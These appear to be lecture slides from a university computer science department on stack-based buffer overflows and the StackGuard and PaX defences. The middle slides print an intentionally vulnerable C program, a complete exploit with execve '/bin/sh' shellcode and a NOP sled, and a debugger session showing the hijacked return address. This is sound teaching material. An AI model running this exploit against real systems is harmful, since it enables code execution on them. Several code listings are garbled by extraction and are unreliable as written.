Buffer Overflow and Protection Technology Department of Computer Science, Lorenzo Cavallaro <sullivan@security.dico.unimi.it> Andrea Lanzi <andrew@security.dico.unimi.it>
Table of Contents Introduction Stack-based Buffer Overflow Buffer overflow introduction Stack and Stack Frame Calling Convention Issue, Injection and Payload execution Protection Technology Compiler-enforced protection: Stack Guard, ProPolice SSP Kernel-enforced protection: PaX
Introduction (1) Privacy-enhancing technologies: Anonymizer, Mixes of Chaum, Onion Routing, Crowds, Anonymous Credentials, Blind Signatures and so on... These kind of technologies try to improve the privacy of active users But there are also sensible data, that the users don't want to disclose and want them to remain private email passwords, IM passwords, DB passwords in PHP/ASP applications, personal emails, credit card number... Usually cryptography may help to improve this kind of users' privacy but it's not always deployable
Buffer overflow introduction Buffer overflow are one of the most biggest vulnerability, nowadays Writing past the end of a buffer, if properly done, may allow an attacker to execute arbitrary code running with full priviledges Robert T. Morris Jr. worm, The Internet Worm (1988), was the first public example that showed such an exploitation technique Aleph1 Smashing the Stack for fun and profit (1996) represents the first underground's paper about stack-based buffer overflow
The Stack (1) It's a memory data structure used by a process as storage for function's local variables and function's parameters A function Stack Frame (or Activation Record, AR) is associated at each function call. The AR usually holds function's parameters (if any) return address (RET); memory address at which start again the execution once the function is ended caller's AR memory address (it may not be there at all) function's local variables (if any)
The Stack (2) Abstract Data Type, Last-in First-out (LIFO) Let S be a Stack and e an element. The common stack operation are push(s,e) it inserts the element e at the top of the stack e = pop(s) it retrieves the element at the top of the stack S and update the stack pointer S = top(s) it retrieves the top of the stack S
The Stack (3) i386 computer architecture, Linux operating system Stack grows from high memory addresses (bottom of the stack) toward lower one (top of the stack) Write operations are performed from low memory addresses toward higher one little-endian multibyte storage in memory ESP (Extended Stack Poiner) 32 bit CPU register points always at the top of the stack EBP (Extended Base Pointer) 32 bit CPU register, also known as Frame Pointer (FP), points at the current AR (stack frame)
Stack Layout: function with no arguments void function(void) { int x; char buf[10]; x = 5; } memset(buf, 0, sizeof (buf)); strcpy(buf, securephd );
Calling Convention Convention used to build the right environment when calling a function C declaration syntax (cdecl) parameters are passed on the stack in reverse declaration order it's up to the caller to clean up the allocated stack space Standard syntax (stdcall) parameters are passed on the stack in reverse declaration order it's up to the callee to clean up the allocated stack space fast call syntax, naked...
Function call (1) Using the cdecl calling convention, at each function call, the generated assembly code must push on the stack the function's parameters in reverse declaration order call the function (e.g. call function_address) which semantically means push(s, return_address) jump function_address
Function call (2) At the very begin of every function there are few instructions, the prologue, that are executed when the function gains control push(s, EBP) EBP = ESP doing so, the function can use EBP, the frame pointer, to address local variables (using negative offsets) and to address its parameters (using positive offsets)
Automatic variables After prologue's execution, the function allocates space on the stack for its local variables (if any) doing explicit stack pointer operation (e.g. sub $0x10, %esp) doing implicit stack pointer operation (e.g. pushl $0x12345678) Automatic variables are allocates on the stack, hence usual scope rules are applied; local variables are visible only within their Activation Record they are not available once the function is terminated
Function termination At the very end of every function, there are few instructions, the epilogue, which are executed when the function is going to terminate. The epilogue fixes what the prologue did ESP = EBP (e.g. mov %ebp, %esp) EBP = pop(s) (e.g. popl %ebp) The function ends its execution, returning to the caller, by issuing a ret instruction which semantically corresponds to EIP = pop(s). This, in fact, retrieve the previously Saved Return Address, pushed on the stack by means of the function call
Stack Layout: function with arguments int main(void) { int res; } res = sum(5, 6); printf( sum is: %d\n, res); exit(0); 0x080483b3 0x080483b8 int sum(int a, int b) { return (a + b); } 0x80483da
Buffer Overflow (1) C strings are sequences of bytes (char arrays) nil terminated 0123456789\0STRING 2\0 string 1 string 2 VERY BIG STRING\0 string 3 Copying string 3 into string 1 without checking for target boundaries, we'll get VERY BIG STRING\0G 2\0
Buffer Overflow (2) A buffer overflow occours when too many data are written into a buffer besides its real size, causing it to overflow Remember that stack grows toward lower memory addresses while memory write are done toward higher memory addresses Stack holds sensible information, besides local data, such as the Saved Return Address (SRET) What happen if we can cause a buffer to overflow, in order to overwrite important informations, such as SRET, stored on the stack?
Buffer Overflow (3) At function termination, after the epilogue, the ret (0xc3) assembly instruction is executed If, exploiting a buffer overflow vulnerability, the SRET gets overwritten, the attacker gain control of the EIP register which manages the process execution flow Once EIP is subverted, it remains to choose where to hijack this flow to Usually the hijacked execution flow is redirected to a code written and injected by the attacker. This code is called payload (shellcode, egg,...)
Injection (1) Talking about buffer overflow usually implies talking about injection vector and payload The injection vector is the ad hoc built vector which will be sent to the vulnerable process. It may holds payload's address payload... The payload is the code the attacker wants to execute Both the injection vector and the payload are architecture and OS dependent
Payload execution Direct jump payload's address guessing addresses may contains nil bytes payload's address may change (security patches such as PaX ASLR) issue about target vulnerable buffer size Payload stored in the vulnerable process environment Pop return Call register Push return
No Operation Assembly instruction that execute no operation (0x90) Combined with Direct jump, increases the error percentage the attacker may do, while guessing the payload's memory address With NOP, the jump may allow to fall down on a landing area Usually the injection vector looks like NOP..NOP PAYLOAD RETADDR..RETADDR
Advanced techniques (overview) Off-by-one (SFP LSB overwrite) stack function pointer overwriting heap overflow (free/malloc chunk overwriting) advanced payload IDS evasion alfanumericl polymorphic crypted
Example: vuln.c (1) int main(void) { char buf[512]; int done = 0; while (!done) { memset(buf, 0, sizeof (buf)); read(0, buf, sizeof (buf) 1); buf[strlen(buf 1)] = 0; } done = vuln(buf); } exit(0);
Example: vuln.c (2) int vuln(char *s) { char small[128]; memset(small, 0, sizeof (small)); if (!strncmp(s, exit, 4)) return 1; strcpy(small, s); printf( [+] buf@%p\n, small); printf( [+] small: %s\n, small); } return 0;
Example: vuln execution (1) $./vuln Buffer Overflow [+] buf@0xbffff8a0 [+] small: Buffer Overflow exit $ perl -e '{ print A x 160 }'./vuln [+] buf@0xbffff8a0 [+] small: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA zsh: 3477 done perl -e '{ print "A" x 160 }' zsh: 3478 segmentation fault (core dumped)./vuln
Example: vuln execution (2) $ gdb -q -c core Core was generated by `./vuln'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in?? () (gdb) info reg eip eip 0x41414141 0x41414141 (gdb) quit $ (./x ; cat)./vuln [+] buf@9xbffff8a0 [+] small: (garbage)... id uid=1000(sullivan) gid=100(users)...
Exploit (1) #include <stdio.h> #define RETADDR 0xbffff8a0 #define NOP 0x90 unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x89\x43\x0c \x88\x43\x07\x89\xc2\x8d\x4b\x08\xb0\x0b\xcd \x80\xe8\xe6\xff\xff\xff/bin/sh"; int main(void) { char buf[160]; int i; char *p; /* zero out buffer */ memset(buf, 0, sizeof (buf));
Exploit (2) /* * Fill with the return address, the address at which we want to jump to, * the address at which the vulnearabile buffer is stored and that we have * filled with NOP..NOP, shellcode, RETADDR..RETADDR... hence with our * payload too */ for (i = 0; i < sizeof (buf); i += 4) *(unsigned int *)(buf + i) = RETADDR; /* * Fill the buffer with 20 byte of NOP even if we don't need it * since you already know at which address will be our payload (in the * injected vector): it's the vuln program that prints this for us */ memset(buf, NOP, 20);...
Exploit (3) /* * after follow our paylod that we want to execute, our shellcode. */ p = (buf + 20); for (i = 0; i < strlen(shellcode); i++) p[i] = shellcode[i]; buf[sizeof(buf) - 1] = 0; printf("%s\n", buf); }
Protection Technology Buffer overflows issue may be solved in different ways in order to prevent execution flow hijacking and arbitrary code execution There are two main categories to this purpose: Compiler-enforced protection (e.g. Stack Guard) Compilers have complete knowledge about the structure of the binary so they can modify the program's stack layout in order to prevent, or at least detect and stop, buffer overflows Kernel-enforced protection (e.g. Grsecurity, PaX) The kernel cannot modify the program's stack layout since it doesn't know anything about it, but it has a complete knowledge of a process' virtual address space layout so it can apply access controls to pages of memory in order to prevent execution of arbitrary code
Stack Guard (1) Stack Guard is a compiler-enforced protection technology Implemented in the GNU C compiler, stops stack-based buffer overflow vulnerabilities introducing just a little performance cost Integrity check on the Activation Records it detects control information (SRET) overwriting Issue with this solution: the attacker may choose to execute payload already in memory (or injected in other places) As safeguard measure, a canary location is inserted before the sensible control information on the stack
Stack Guard (2) Canary value should be both hard to detect and to spoof by an attacker The canary location is initialized just after having saved the control informations on the stack, i.e. after the prologue is executed The canary location is checked up just before restoring the control information, i.e. before the epilogue is executed This way the control information are protected since its values is checked up just before they gets restored
Stack Guard (3) There are four types of stack canaries: NULL canary, introduced by der Mouse, consists of a 0x00000000 value. Terminator canary, detect strings overflow but it has a known value: CR, LF, NULL, -1. Since many functions that manages strings use those terminators as string terminator, it shouldn't be possible to write past the end of the vulnerable buffers All functions that write to memory without directly managing strings, such as memcpy(3), may bypass these canaries
Stack Guard (4) Random canary can detects all memory writes that are not able to guess this canary value defeating, hence, the buffer overflow issue Usually the canary is a global variable initialized at program startup. The attacker should be able to guess this value in order to be successful in the exploitation of the vulnerability Random XOR canary acts like random canary but it adds an integrity check to the protected control information, by perform an XOR operation between the canary and those information, storing the result in the canary location
PaX PaX is a kernel-enforced protection technology It offers prevention against abritrary code execution via memory management access controls, NOEXEC address space layout randomization, ASLR It's embedded by Grsecurity Linux kernel patch which also offers read-only sys_call_table, IDT and GDT /dev/kmem, /dev/mem and /dev/port protections /proc, and chroot(2) restrictions Trusted Path Execution, psuedo-random PID, IP ID, TCP ISN and TCP source ports, socket creation restrictions
PaX NOEXEC It aims to prevent the injection and execution of arbitrary code into a process' address space It makes all the memory that holds stack, heap, data and anonymous mappings area non-executable There are two approaches on IA-32 architecture PAGEEXEC which uses the paging logic of the CPU SEGMEXEC which uses the segmentation logic of the CPU Since page protection rights originate from mmap(2) syscall and they can be changed by mprotect(2), it exists also MPROTECT feature, in order to enforce this protection
PaX ASLR (1) Address Space Layout Randomization attempts to render exploits that depends on fixed addresses useless It introduces a small amount of randomness to the layout of the process' virtual memory space There are several memory areas that need this randomness RANDUSTACK it randomizes the user land stack addresses; it's the kernel that create the process' stack layout RANDKSTACK it randomizes the kernel land stack addresses associated to each task structure
PaX ASLR (2) RANDMMAP it handles the randomization of all file and anonymous memory mappings (mmap(2), brk(2)) RANDEXEC it randomizes the location of ET_EXEC ELF binaries. it loads the executable at the standard address which lies into non-executable pages an executable copy of the binary is created at a random location using the RANDMMAP features execution attempts flow back into the randomized mapping via a page fault handler if the non-executable page is accessed instead of the randomly relocated image